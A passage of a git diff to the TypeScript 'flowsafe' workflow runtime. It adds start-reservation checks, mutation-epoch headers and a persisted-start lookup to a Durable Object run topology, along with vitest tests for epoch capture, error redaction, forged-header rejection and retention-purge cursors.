 /** The subset of a DurableObjectStub the topology uses. */
@@ -44,6 +53,10 @@ export interface RunnerNamespaceLike<Id = unknown> {
 }
 
 export interface DoRunTopology {
+  persistedStart(
+    workflowId: string,
+    runId: string,
+  ): Promise<PersistedStartResult<RunSummary> | undefined>;
   /** createRunRouter's `start` thunk. */
   start(input: DoRunStartInput): Promise<RunSummary>;
   /** createRunRouter's `status` thunk (a DO 404 reads as undefined). */
@@ -53,20 +66,6 @@ export interface DoRunTopology {
     workflowId: string,
     runId: string,
   ): Promise<RunSummary | undefined>;
-  /**
-   * Is a start for this run executing in its Durable Object right now?
-   *
-   * createRunRouter's liveness probe, and the reason an idempotent replay can
-   * tell "still working" from "died holding the claim" without a timer. The run
-   * object is the only place that can answer: it is addressed by
-   * `idFromName(workflowId:runId)`, so there is exactly one instance that could
-   * be running this run, and if that instance says no then nothing is.
-   *
-   * An unreachable object reads as NOT live. That is the fail-closed direction
-   * here — it produces the refusal that asks a human to investigate, whereas a
-   * default of "live" would answer a permanently broken run with a permanently
-   * retryable 503.
-   */
   startLiveness(workflowId: string, runId: string): Promise<boolean>;
   /** createRunRouter's `resume` thunk. */
   resume(
@@ -110,11 +109,6 @@ export type DoRunStartInput = RunStartInput & {
   initialState?: unknown;
 };
 
-/** The run object's answer to the liveness probe. */
-interface StartLivenessBody {
-  live?: unknown;
-}
-
 export function createDoRunTopology<Id>(
   namespace: RunnerNamespaceLike<Id>,
   deploymentIdentitySecret: string,
@@ -153,25 +147,47 @@ export function createDoRunTopology<Id>(
       workflowId,
       runId,
       inputData,
+      requestContext,
       initialState,
       principal,
+      mutationEpoch,
       scheduleId,
       dispatchId,
       deadlineMs,
       idempotencyKey,
+      startReservation: suppliedReservation,
     }) => {
+      const startReservation =
+        suppliedReservation === undefined
+          ? undefined
+          : captureReservation(suppliedReservation, 'started');
+      if (
+        startReservation &&
+        (startReservation.key !== idempotencyKey ||
+          startReservation.runId !== runId ||
+          startReservation.targetKind !== 'workflow' ||
+          startReservation.targetId !== workflowId ||
+          startReservation.threadId !== undefined ||
+          startReservation.owner.kind !== principal.kind ||
+          startReservation.owner.id !== principal.id)
+      )
+        throw new InvalidRunRequestError(
+          'start reservation does not match the trusted start',
+        );
       if ((scheduleId === undefined) !== (dispatchId === undefined)) {
         throw new Error(
           'scheduled run starts require both scheduleId and dispatchId',
         );
       }
+      const headers = new Headers({
+        'content-type': 'application/json',
+        [EXECUTION_PRINCIPAL_HEADER]: encodeExecutionPrincipal(principal),
+      });
+      stampMutationEpoch(headers, mutationEpoch);
       return doSummary(
         await stub(workflowId, runId).fetch('http://do/runs', {
           method: 'POST',
-          headers: deploymentIdentityHeaders(deploymentIdentitySecret, {
-            'content-type': 'application/json',
-            [EXECUTION_PRINCIPAL_HEADER]: encodeExecutionPrincipal(principal),
-          }),
+          headers: deploymentIdentityHeaders(deploymentIdentitySecret, headers),
           body: JSON.stringify({
             workflowId,
             runId,
@@ -180,30 +196,21 @@ export function createDoRunTopology<Id>(
             // bearing one is refused for, so the DO can treat what arrives
             // here as the router's own reserved key.
             ...(idempotencyKey === undefined ? {} : { idempotencyKey }),
+            ...(startReservation === undefined ? {} : { startReservation }),
             ...(scheduleId === undefined
-              ? { inputData, initialState, deadlineMs }
+              ? { inputData, initialState, deadlineMs, requestContext }
               : { scheduleId, dispatchId, deadlineMs }),
           }),
         }),
       );
     },
-    startLiveness: async (workflowId, runId) => {
-      // Only an explicit `true` from the run's own object counts as live.
-      // Everything else — a non-200, an unparseable body, a field of the wrong
-      // shape — is "this did not tell me the run is running", which is not the
-      // same as "it is", and treating it as such would turn a broken probe into
-      // an indefinitely retryable PENDING for a run nobody is executing.
-      const response = await stub(workflowId, runId).fetch(
-        `http://do/runs/${workflowId}/${runId}/start-liveness`,
-        { headers: deploymentIdentityHeaders(deploymentIdentitySecret) },
-      );
-      if (response.status !== 200) return false;
-      try {
-        return ((await response.json()) as StartLivenessBody).live === true;
-      } catch {
-        return false;
-      }
-    },
+    startLiveness: async (workflowId, runId) =>
+      doStartLiveness(
+        await stub(workflowId, runId).fetch(
+          `http://do/runs/${workflowId}/${runId}/start-liveness`,
+          { headers: deploymentIdentityHeaders(deploymentIdentitySecret) },
+        ),
+      ),
     // The DO answers 404 for a run it has never seen; the router turns the
     // undefined into its own 404 rather than leaking the DO's body.
     status: async (workflowId, runId) => {
@@ -214,6 +221,14 @@ export function createDoRunTopology<Id>(
       if (response.status === 404) return undefined;
       return doSummary(response);
     },
+    persistedStart: async (workflowId, runId) => {
+      const response = await stub(workflowId, runId).fetch(
+        `http://do/runs/${workflowId}/${runId}?replay=1`,
+        { headers: deploymentIdentityHeaders(deploymentIdentitySecret) },
+      );
+      if (response.status === 404) return undefined;
+      return doPersistedStart(response, { workflowId, runId });
+    },
     dispatchStatus: async (workflowId, runId) => {
       const response = await stub(workflowId, runId).fetch(
         `http://do/runs/${workflowId}/${runId}/dispatch-status`,
diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts
index 03830386..02bc67ce 100644
--- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts
+++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts
@@ -1,12 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// Unit proof for the composed Worker skeleton: the fetch pipeline order, the
-// hook seams (preRoutes/beforeStart/beforeResume/notify/extra
-// duties), and failure-isolated deadline, sweep, purge, and optional schedule
-// tick dispatch. The HEAVYWEIGHT behavior proof stays the two host e2e suites
-// (deploy/worker.e2e.test.ts and the showcase worker e2e set), which drive
-// the real hosts through this same composer — this file covers the composer's
-// own contract over fakes: node:sqlite behind a narrow SQL unit facade, a stub DO
-// namespace, and a static verifier.
 
 import { afterEach, describe, expect, it, vi } from 'vitest';
 
@@ -21,20 +13,34 @@ import {
   FlowsafeFleetAuditProxy,
 } from '../audit-export/index.js';
 import {
+  DeploymentIdentityError,
   EXECUTION_PRINCIPAL_HEADER,
+  executionFenceFor,
+  InvalidMutationEpochError,
+  MUTATION_EPOCH_HEADER,
   type RunDeadlineCursor,
   type RunSummary,
+  startIdempotencyFor,
 } from '../do-runner/index.js';
+import {
+  createScheduleRouter,
+  createScheduleTargetPolicy,
+  D1SchedulesStorage,
+  type ScheduleDatabase,
+} from '../schedules/index.js';
 import type { ResumeRunFn } from './approval-bridge.js';
+import type { RunnerStubLike } from './do-run-topology.js';
 import {
   createFlowsafeWorker,
   type FlowsafeWorkerConfig,
   type FlowsafeWorkerEnv,
   MAINTENANCE_INSTANCE_NAME,
   type MaintenanceHealth,
+  type MaintenancePurgeDutyContext,
 } from './flowsafe-worker.js';
 import { approvalStoreFactoryFor } from './host-approval-service.js';
 import { MAINTENANCE_RECEIPT_HEADER } from './maintenance-capability.js';
+import { RunRouteError } from './run-route-error.js';
 import { staticTokenVerifier } from './verifier.js';
 import type { WorkflowMeta } from './workflow-meta.js';
 
@@ -167,6 +173,317 @@ function makeWorker(
   });
 }
 
+function retentionContext(): MaintenancePurgeDutyContext {
+  const context: MaintenancePurgeDutyContext = {
+    advanceRetentionCursor: async (cursor) => {
+      context.retentionCursor = structuredClone(cursor);
+    },
+  };
+  return context;
+}
+
+function cWorkerDeferred() {
+  let release!: () => void;
+  const promise = new Promise<void>((resolve) => {
+    release = resolve;
+  });
+  return { promise, release };
+}
+
+describe('C Worker epoch capture', () => {
+  it.each([
+    '/runs',
+    '/healthz',
+    '/admin/maintenance-status',
+  ])('C captures Worker epoch before identity SQL for %s', async (path) => {
+    type EpochEnv = FlowsafeWorkerEnv & { epoch: number };
+    const order: string[] = [];
+    const observed: Array<number | undefined> = [];
+    let sourceReads = 0;
+    const source = vi.fn((env: EpochEnv) => {
+      order.push('epoch');
+      return env.epoch;
+    });
+    const config: FlowsafeWorkerConfig<EpochEnv> = {
+      systemPrincipalId: 'test-system',
+      workflows: WORKFLOWS,
+      maintenance: { sweepIntervalMs: 1, purgeIntervalMs: 1 },
+      get mutationEpoch() {
+        sourceReads++;
+        return source;
+      },
+      buildVerifier: () => staticTokenVerifier(ACTORS),
+      beforeStart: async (context) => {
+        observed.push(context.mutationEpoch);
+      },
+    };
+    const worker = createFlowsafeWorker(config);
+    expect(sourceReads).toBe(1);
+    expect(source).not.toHaveBeenCalled();
+    Object.defineProperty(config, 'mutationEpoch', { value: () => 99 });
+    for (const epoch of [0, Number.MAX_SAFE_INTEGER]) {
+      const h = makeEnv();
+      const env: EpochEnv = { ...h.env, epoch };
+      const entered = cWorkerDeferred();
+      const hold = cWorkerDeferred();
+      const nativePrepare = env.DB.prepare.bind(env.DB);
+      let held = false;
+      const prepare = vi.spyOn(env.DB, 'prepare').mockImplementation((sql) => {
+        const statement = nativePrepare(sql);
+        if (!held && sql.includes('sqlite_schema')) {
+          const bind = statement.bind.bind(statement);
+          statement.bind = (...values: unknown[]) => {
+            const bound = bind(...values);
+            const all = bound.all.bind(bound);
+            bound.all = async <T>() => {
+              const result = await all<T>();
+              held = true;
+              order.push('sql');
+              entered.release();
+              await hold.promise;
+              return result;
+            };
+            return bound;
+          };
+        }
+        return statement;
+      });
+      const pending = worker.fetch(
+        authed(
+          `http://host${path}`,
+          path === '/runs'
+            ? {
+                method: 'POST',
+                body: JSON.stringify({ workflowId: 'wf', inputData: {} }),
+              }
+            : {},
+        ),
+        env,
+        h.ctx,
+      );
+      try {
+        await entered.promise;
+        expect(order.slice(-2)).toEqual(['epoch', 'sql']);
+        env.epoch = 3;
+        hold.release();
+        const response = await pending;
+        expect(response.status).toBe(
+          path === '/admin/maintenance-status' ? 503 : 200,
+        );
+        if (path === '/runs') expect(observed.at(-1)).toBe(epoch);
+      } finally {
+        hold.release();
+        await pending;
+        await h.flush();
+        prepare.mockRestore();
+      }
+    }
+    expect(sourceReads).toBe(1);
+    expect(source).toHaveBeenCalledTimes(2);
+  });
+
+  it('C Worker epoch remains captured through authentication', async () => {
+    const h = makeEnv();
+    const entered = cWorkerDeferred();
+    const hold = cWorkerDeferred();
+    let epoch = 2;
+    const seen: unknown[] = [];
+    const worker = makeWorker({
+      mutationEpoch: () => epoch,
+      buildVerifier: () => ({
+        verify: async () => {
+          entered.release();
+          await hold.promise;
+          return { id: 'ada', role: 'admin' };
+        },
+      }),
+      beforeStart: async (context) => {
+        seen.push(context.mutationEpoch);
+      },
+    });
+    const pending = worker.fetch(
+      authed('http://host/runs', {
+        method: 'POST',
+        body: '{"workflowId":"wf"}',
+      }),
+      h.env,
+      h.ctx,
+    );
+    try {
+      await entered.promise;
+      epoch = 9;
+      hold.release();
+      expect((await pending).status).toBe(200);
+      expect(seen).toEqual([2]);
+    } finally {
+      hold.release();
+      await pending;
+      await h.flush();
+    }
+  });
+
+  it.each([
+    null,
+    '2',
+    true,
+    -1,
+    0.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('C Worker rejects invalid scalar setup and callback without effects (%s)', async (value) => {
+    expect(() => makeWorker({ mutationEpoch: value as number })).toThrow(
+      InvalidMutationEpochError,
+    );
+    const h = makeEnv();
+    const prepare = vi.spyOn(h.env.DB, 'prepare');
+    const auth = vi.fn(() => staticTokenVerifier(ACTORS));
+    const route = vi.fn();
+    const response = await makeWorker({
+      mutationEpoch: () => value,
+      buildVerifier: auth,
+      preRoutes: route,
+    }).fetch(authed('http://host/workflows'), h.env, h.ctx);
+    expect(response.status).toBe(400);
+    expect(await response.json()).toEqual({
+      error: new InvalidMutationEpochError().message,
+      reason: { code: 'INVALID_MUTATION_EPOCH' },
+    });
+    expect(prepare).not.toHaveBeenCalled();
+    expect(auth).not.toHaveBeenCalled();
+    expect(route).not.toHaveBeenCalled();
+    expect(h.doCalls).toEqual([]);
+    await h.flush();
+  });
+
+  it.each([
+    'promise',
+    'thenable',
+  ] as const)('C Worker never awaits an epoch callback result (%s)', async (kind) => {
+    const then = vi.fn();
+    const value = kind === 'promise' ? Promise.resolve(2) : { then };
+    const h = makeEnv();
+    const prepare = vi.spyOn(h.env.DB, 'prepare');
+    const response = await makeWorker({ mutationEpoch: () => value }).fetch(
+      authed('http://host/healthz'),
+      h.env,
+      h.ctx,
+    );
+    expect(response.status).toBe(400);
+    expect(then).not.toHaveBeenCalled();
+    expect(prepare).not.toHaveBeenCalled();
+    await h.flush();
+  });
+
+  it.each([
+    new Error('private sentinel'),
+    {
+      name: 'InvalidMutationEpochError',
+      status: 400,
+      reason: { code: 'INVALID_MUTATION_EPOCH' },
+      message: 'private sentinel',
+    },
+  ])('C Worker keeps generic callback errors redacted', async (error) => {
+    capturedLogs();
+    const h = makeEnv();
+    const prepare = vi.spyOn(h.env.DB, 'prepare');
+    const response = await makeWorker({
+      mutationEpoch: () => {
+        throw error;
+      },
+    }).fetch(authed('http://host/healthz'), h.env, h.ctx);
+    expect(response.status).toBe(500);
+    expect(await response.json()).toEqual({ error: 'internal error' });
+    expect(prepare).not.toHaveBeenCalled();
+    await h.flush();
+  });
+
+  it.each([
+    {
+      name: 'throwing message getter',
+      failure: () =>
+        Object.defineProperty(new Error(), 'message', {
+          get() {
+            throw new Error('message getter failed');
+          },
+        }),
+      diagnostic: 'unreadable error',
+    },
+    {
+      name: 'BigInt message',
+      failure: () =>
+        Object.defineProperty(new Error(), 'message', { value: 1n }),
+      diagnostic: '1',
+    },
+    {
+      name: 'null-prototype rejection',
+      failure: () => Object.create(null),
+      diagnostic: 'unreadable error',
+    },
+  ])('contains a callback failure with $name while logging the failure', async ({
+    failure,
+    diagnostic,
+  }) => {
+    const logs = capturedLogs();
+    const h = makeEnv();
+    const response = await makeWorker({
+      mutationEpoch: () => {
+        throw failure();
+      },
+    }).fetch(authed('http://host/healthz'), h.env, h.ctx);
+
+    expect(response.status).toBe(500);
+    expect(await response.json()).toEqual({ error: 'internal error' });
+    expect(logs.errors().map((line) => JSON.parse(line))).toContainEqual({
+      type: 'worker-fetch-error',
+      reason: diagnostic,
+    });
+    await h.flush();
+  });
+
+  it.each([
+    {
+      name: 'throwing message getter',
+      descriptor: {
+        get() {
+          throw new Error('message getter failed');
+        },
+      },
+      diagnostic: 'unreadable error',
+    },
+    {
+      name: 'BigInt message',
+      descriptor: { value: 1n },
+      diagnostic: '1',
+    },
+  ])('contains deployment identity failures with $name', async ({
+    descriptor,
+    diagnostic,
+  }) => {
+    const logs = capturedLogs();
+    const h = makeEnv();
+    const failure = Object.defineProperty(
+      new DeploymentIdentityError('unavailable'),
+      'message',
+      descriptor,
+    );
+
+    const response = await makeWorker({
+      mutationEpoch: () => {
+        throw failure;
+      },
+    }).fetch(authed('http://host/healthz'), h.env, h.ctx);
+
+    expect(response.status).toBe(503);
+    expect(await response.json()).toEqual({ error: 'deployment unavailable' });
+    expect(logs.errors().map((line) => JSON.parse(line))).toContainEqual({
+      type: 'deployment-identity-error',
+      reason: diagnostic,
+    });
+    await h.flush();
+  });
+});
+
 function authed(url: string, init: RequestInit = {}): Request {
   return new Request(url, {
     ...init,
@@ -435,10 +752,15 @@ describe('createFlowsafeWorker fetch pipeline', () => {
     );
   });
 
-  it('relays a one-shot fleet capability without holding the signing secret', async () => {
+  it.each([
+    undefined,
+    'local-maintenance-receipt-secret-0001',
+  ])('relays a fleet capability with local receipt secret %s', async (receiptSecret) => {
     const worker = makeWorker();
     const { env, ctx } = makeEnv();
     env.FLEET_MAINTENANCE_CAPABILITIES = 'required';
+    if (receiptSecret !== undefined)
+      env.MAINTENANCE_ADMIN_SECRET = receiptSecret;
     env.FLEET_SPEC_DIGEST = 'a'.repeat(64);
     const fetch = vi.fn(async () => {
       const response = Response.json({ alarmAt: 1 });
@@ -467,7 +789,7 @@ describe('createFlowsafeWorker fetch pipeline', () => {
       method: 'POST',
       headers: { authorization: 'Bearer one-shot-capability' },
     });
-    expect(env.MAINTENANCE_ADMIN_SECRET).toBeUndefined();
+    expect(env.MAINTENANCE_ADMIN_SECRET).toBe(receiptSecret);
   });
 
   it('refuses to reuse the Worker-to-DO credential for maintenance administration', async () => {
@@ -639,6 +961,79 @@ describe('createFlowsafeWorker fetch pipeline', () => {
     expect(buildResumeRun.mock.calls[0]?.[1]).toBe(env);
   });
 
+  it.each([
+    undefined,
+    { 'app.attribution': 'ada', nested: { value: 1 } },
+  ])('passes context as the fifth policy argument and serializes it to the run DO: %j', async (requestContext) => {
+    const beforeStart = vi.fn<
+      NonNullable<FlowsafeWorkerConfig<FlowsafeWorkerEnv>['beforeStart']>
+    >(async () => {});
+    const worker = makeWorker({ beforeStart });
+    const h = makeEnv();
+    const transport = vi.fn<RunnerStubLike['fetch']>(async (_url, init) => {
+      const body = JSON.parse(init?.body ?? '{}') as { runId: string };
+      return Response.json(successSummary(body.runId));
+    });
+    h.env.RUNNER = {
+      idFromName: (name) => name,
+      get: () => ({ fetch: transport }),
+    };
+    const inputData = { topic: 'launch' };
+    const response = await worker.fetch(
+      authed('http://host/runs', {
+        method: 'POST',
+        body: JSON.stringify({ workflowId: 'wf', inputData, requestContext }),
+      }),
+      h.env,
+      h.ctx,
+    );
+    await h.flush();
+
+    expect(response.status).toBe(200);
+    expect(beforeStart).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({ actor: { id: 'ada', role: 'admin' } }),
+      h.env,
+      'wf',
+      inputData,
+      requestContext,
+    );
+    expect(transport).toHaveBeenCalledOnce();
+    const forwarded = JSON.parse(transport.mock.calls[0]?.[1]?.body ?? '{}');
+    expect(forwarded.requestContext).toEqual(requestContext);
+    expect(Object.hasOwn(forwarded, 'requestContext')).toBe(
+      requestContext !== undefined,
+    );
+  });
+
+  it('rejects application attribution in host policy before contacting the run DO', async () => {
+    const beforeStart = vi.fn<
+      NonNullable<FlowsafeWorkerConfig<FlowsafeWorkerEnv>['beforeStart']>
+    >(async (_context, _env, _workflowId, _inputData, requestContext) => {
+      expect(requestContext).toEqual({ 'app.attribution': 'forbidden' });
+      throw new RunRouteError(403, 'attribution is not allowed');
+    });
+    const worker = makeWorker({ beforeStart });
+    const h = makeEnv();
+    const response = await worker.fetch(
+      authed('http://host/runs', {
+        method: 'POST',
+        body: JSON.stringify({
+          workflowId: 'wf',
+          requestContext: { 'app.attribution': 'forbidden' },
+        }),
+      }),
+      h.env,
+      h.ctx,
+    );
+    await h.flush();
+    expect(response.status).toBe(403);
+    expect(await response.json()).toEqual({
+      error: 'attribution is not allowed',
+    });
+    expect(beforeStart).toHaveBeenCalledOnce();
+    expect(h.doCalls).toEqual([]);
+  });
+
   it('runs the context-aware start and resume policies before the topology thunks', async () => {
     // #given
     const wrapped: string[] = [];
@@ -784,6 +1179,91 @@ describe('createFlowsafeWorker fetch pipeline', () => {
     // #then — no schedule handling, as before the seam existed
     expect(unmounted.status).toBe(404);
   });
+
+  it('carries the configured epoch through authentication into the schedule store', async () => {
+    const h = makeEnv();
+    const store = new D1SchedulesStorage(h.env.DB as ScheduleDatabase);
+    const fence = executionFenceFor(h.env.DB);
+    await fence.seed('open');
+    const initial = await fence.read();
+    const draining = await fence.transition({
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: initial.mutationEpoch,
+      expectedRevision: initial.transitionRevision,
+      advanceMutationEpoch: true,
+    });
+    await fence.transition({
+      expected: 'draining',
+      next: 'open',
+      expectedMutationEpoch: draining.mutationEpoch,
+      expectedRevision: draining.transitionRevision,
+    });
+    const entered = cWorkerDeferred();
+    const hold = cWorkerDeferred();
+    let epoch = 1;
+    const verify = vi.fn(async () => {
+      entered.release();
+      await hold.promise;
+      return { id: 'ada', role: 'admin' as const };
+    });
+    const worker = makeWorker({
+      mutationEpoch: () => epoch,
+      buildVerifier: () => ({ verify }),
+      buildScheduleRouter: (resolve) =>
+        createScheduleRouter({
+          resolve,
+          store,
+          executionFence: fence,
+          targetPolicy: createScheduleTargetPolicy({
+            workflows: WORKFLOWS,
+            agents: [],
+          }),
+          validateThreadTarget: async () => undefined,
+        }),
+    });
+    const request = () =>
+      authed('http://host/api/schedules', {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({ workflowId: 'wf', cron: '*/5 * * * *' }),
+      });
+    const pending = worker.fetch(request(), h.env, h.ctx);
+    try {
+      expect(
+        await Promise.race([
+          entered.promise.then(() => true),
+          pending.then(() => false),
+        ]),
+      ).toBe(true);
+      epoch = 2;
+      hold.release();
+      const response = await pending;
+      expect(response.status).toBe(201);
+      const created = (await response.json()) as { schedule: { id: string } };
+      expect((await store.listSchedules()).map((row) => row.id)).toEqual([
+        created.schedule.id,
+      ]);
+    } finally {
+      hold.release();
+      await pending;
+    }
+    const future = await worker.fetch(request(), h.env, h.ctx);
+    expect(future.status).toBe(409);
+    expect(await future.json()).toMatchObject({
+      reason: {
+        code: 'MUTATION_EPOCH_MISMATCH',
+        classification: 'future',
+        mutationEpoch: 1,
+      },
+    });
+    const forged = request();
+    forged.headers.set(MUTATION_EPOCH_HEADER, '1');
+    const rejected = await worker.fetch(forged, h.env, h.ctx);
+    expect(rejected.status).toBe(403);
+    expect(verify).toHaveBeenCalledTimes(2);
+    expect(await store.listSchedules()).toHaveLength(1);
+  });
 });
 
 describe('createFlowsafeWorker maintenance duties', () => {
@@ -873,7 +1353,8 @@ describe('createFlowsafeWorker maintenance duties', () => {
           resourceId TEXT,
           snapshot TEXT NOT NULL,
           createdAt TEXT NOT NULL,
-          updatedAt TEXT NOT NULL
+          updatedAt TEXT NOT NULL,
+          UNIQUE(workflow_name, run_id)
         )`,
       )
       .run();
@@ -1041,7 +1522,7 @@ describe('createFlowsafeWorker maintenance duties', () => {
     const { env } = makeEnv();
 
     // #when
-    await worker.runMaintenanceDuty('purge', env);
+    await worker.runMaintenanceDuty('purge', env, retentionContext());
 
     // #then
     const lines = maintenanceLines(logs.lines());
@@ -1050,6 +1531,298 @@ describe('createFlowsafeWorker maintenance duties', () => {
     expect(lines[0]).not.toHaveProperty('escalated');
   });
 
+  it('requires the retention cursor seam in the purge duty signature', async () => {
+    capturedLogs();
+    const worker = makeWorker();
+    const { env } = makeEnv();
+
+    // @ts-expect-error the purge context requires advanceRetentionCursor
+    const outcome = await worker.runMaintenanceDuty('purge', env, {});
+
+    expect(outcome).toEqual({
+      ok: false,
+      error: 'retention purge requires advanceRetentionCursor',
+    });
+  });
+
+  it('refuses the purge duty invoked with no context', async () => {
+    capturedLogs();
+    const worker = makeWorker();
+    const { env } = makeEnv();
+
+    // @ts-expect-error the purge duty takes a context carrying the seam
+    const outcome = await worker.runMaintenanceDuty('purge', env);
+
+    expect(outcome).toEqual({
+      ok: false,
+      error: 'retention purge requires advanceRetentionCursor',
+    });
+  });
+
+  it.each([
+    undefined,
+    null,
+    false,
+  ])('refuses a missing or non-callable retention callback before any purge surface: %j', async (advanceRetentionCursor) => {
+    const logs = capturedLogs();
+    const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 }));
+    const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' }));
+    const worker = makeWorker({ artifactStore, extraPurgeDuties });
+    const { env } = makeEnv();
+    await seedIdleThread(env);
+
+    const outcome = await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '30',
+      },
+      // MaintenancePurgeDutyContext requires the seam, so this branch belongs
+      // to hosts the types do not reach; the cast is what one looks like.
+      { advanceRetentionCursor } as unknown as MaintenancePurgeDutyContext,
+    );
+
+    // #then — a wiring fault, not a purge that failed: the invocation is
+    // refused under its own config-error and no surface runs, so the idle
+    // thread survives and no combined maintenance line lands.
+    expect(outcome).toEqual({
+      ok: false,
+      error: 'retention purge requires advanceRetentionCursor',
+    });
+    expect(
+      logs
+        .errors()
+        .filter((line) => line.includes('config-error'))
+        .map((line) => JSON.parse(line) as Record<string, unknown>),
+    ).toEqual([
+      {
+        type: 'config-error',
+        var: 'maintenance.purge.advanceRetentionCursor',
+        trigger: 'purge',
+        reason: 'retention purge requires advanceRetentionCursor',
+      },
+    ]);
+    expect(artifactStore).not.toHaveBeenCalled();
+    expect(extraPurgeDuties).not.toHaveBeenCalled();
+    expect(await threadIds(env)).toEqual(['acme_idle']);
+    expect(maintenanceLines(logs.lines())).toEqual([]);
+    expect(
+      await env.DB.prepare(
+        "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'",
+      ).all(),
+    ).toMatchObject({ results: [] });
+  });
+
+  it.each([
+    undefined,
+    null,
+    false,
+    {},
+  ])('requires a callable batch for retention without changing the optional environment contract: %j', async (batch) => {
+    const logs = capturedLogs();
+    const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 }));
+    const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' }));
+    const worker = makeWorker({ artifactStore, extraPurgeDuties });
+    const { env } = makeEnv();
+    const dbWithoutBatch: FlowsafeWorkerEnv['DB'] = {
+      prepare: env.DB.prepare.bind(env.DB),
+    };
+    env.DB =
+      batch === undefined
+        ? dbWithoutBatch
+        : ({ ...dbWithoutBatch, batch } as FlowsafeWorkerEnv['DB']);
+    const context = retentionContext();
+
+    const outcome = await worker.runMaintenanceDuty('purge', env, context);
+
+    expect(outcome).toEqual({
+      ok: false,
+      error: expect.stringContaining('database.prepare() and batch()'),
+    });
+    expect(context.retentionCursor).toBeUndefined();
+    expect(artifactStore).not.toHaveBeenCalled();
+    expect(extraPurgeDuties).toHaveBeenCalledOnce();
+    expect(maintenanceLines(logs.lines())[0]).toMatchObject({
+      approvalsPurged: 0,
+      extraDuty: 'ran',
+    });
+    expect(
+      await env.DB.prepare(
+        "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'",
+      ).all(),
+    ).toMatchObject({ results: [] });
+    expect(await worker.runMaintenanceDuty('sweep', env)).toMatchObject({
+      ok: true,
+    });
+  });
+
+  it('uses captured DB receivers and cursor values when the artifact factory changes their source', async () => {
+    capturedLogs();
+    const { env } = makeEnv();
+    const realDb = env.DB;
+    await realDb
+      .prepare(`CREATE TABLE mastra_workflow_snapshot (
+      workflow_name TEXT NOT NULL, run_id TEXT NOT NULL, resourceId TEXT,
+      snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL,
+      UNIQUE(workflow_name, run_id)
+    )`)
+      .run();
+    const old = new Date(Date.now() - 90 * 86_400_000).toISOString();
+    for (const runId of ['already-scanned', 'eligible']) {
+      await realDb
+        .prepare(`INSERT INTO mastra_workflow_snapshot
+        VALUES ('wf', ?, NULL, ?, ?, ?)`)
+        .bind(
+          runId,
+          JSON.stringify({
+            status: 'success',
+            requestContext: {
+              'flowsafe.runProvenance': {
+                version: 2,
+                startToken: `start-${runId}`,
+              },
+            },
+          }),
+          old,
+          old,
+        )
+        .run();
+    }
+    const context = retentionContext();
+    const input = {
+      version: 1 as const,
+      tablePrefix: '',
+      startIdempotencyTable: 'flowsafe_start_idempotency',
+      snapshots: { afterRowId: 1, highWaterRowId: 2 },
+    };
+    context.retentionCursor = input;
+    let batchCalls = 0;
+    const batch = realDb.batch?.bind(realDb);
+    if (!batch) throw new Error('SQLite fixture requires batch');
+    const receiverDb: FlowsafeWorkerEnv['DB'] = {
+      prepare(query) {
+        expect(this).toBe(receiverDb);
+        return realDb.prepare(query);
+      },
+      async batch(statements) {
+        expect(this).toBe(receiverDb);
+        batchCalls += 1;
+        return batch(statements);
+      },
+    };
+    env.DB = receiverDb;
+    const artifactCalls: string[] = [];
+    const worker = makeWorker({
+      artifactStore: () => {
+        receiverDb.prepare = (query) => {
+          if (
+            query.includes('mastra_workflow_snapshot') ||
+            query.includes('flowsafe_resource_owners')
+          ) {
+            throw new Error('replacement prepare');
+          }
+          return realDb.prepare(query);
+        };
+        receiverDb.batch = async () => {
+          throw new Error('replacement batch');
+        };
+        input.snapshots.afterRowId = 0;
+        context.advanceRetentionCursor = async () => {
+          throw new Error('replacement callback');
+        };
+        return {
+          deleteRun: async (_workflowId, runId) => {
+            artifactCalls.push(runId);
+            return 0;
+          },
+        };
+      },
+    });
+
+    const outcome = await worker.runMaintenanceDuty('purge', env, context);
+
+    expect(outcome).toMatchObject({ ok: true });
+    expect(batchCalls).toBeGreaterThan(0);
+    expect(artifactCalls).toEqual(['eligible']);
+    expect(
+      await realDb.prepare('SELECT run_id FROM mastra_workflow_snapshot').all(),
+    ).toMatchObject({
+      results: [{ run_id: 'already-scanned' }],
+    });
+    expect(context.retentionCursor).toEqual({
+      version: 1,
+      tablePrefix: '',
+      startIdempotencyTable: 'flowsafe_start_idempotency',
+    });
+  });
+
+  it('contains an unprintable persistence rejection without starving sibling purges', async () => {
+    const logs = capturedLogs();
+    const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' }));
+    const worker = makeWorker({ extraPurgeDuties });
+    const { env } = makeEnv();
+    await seedIdleThread(env);
+
+    const outcome = await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '30',
+      },
+      {
+        advanceRetentionCursor: async () => {
+          throw Object.create(null);
+        },
+      },
+    );
+
+    expect(outcome).toEqual({
+      ok: false,
+      error: expect.stringContaining('retention-purge'),
+    });
+    expect(extraPurgeDuties).toHaveBeenCalledOnce();
+    expect(await threadIds(env)).toEqual([]);
+    expect(maintenanceLines(logs.lines())[0]).toMatchObject({
+      approvalsPurged: 0,
+      threadsPurged: 1,
+      extraDuty: 'ran',
+    });
+  });
+
+  it('contains an unprintable approval rejection without starving sibling purges', async () => {
+    const logs = capturedLogs();
+    const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' }));
+    const worker = makeWorker({ extraPurgeDuties });
+    const { env } = makeEnv();
+    await seedIdleThread(env);
+    vi.spyOn(
+      approvalStoreFactoryFor(env.DB).store(),
+      'purgeExpired',
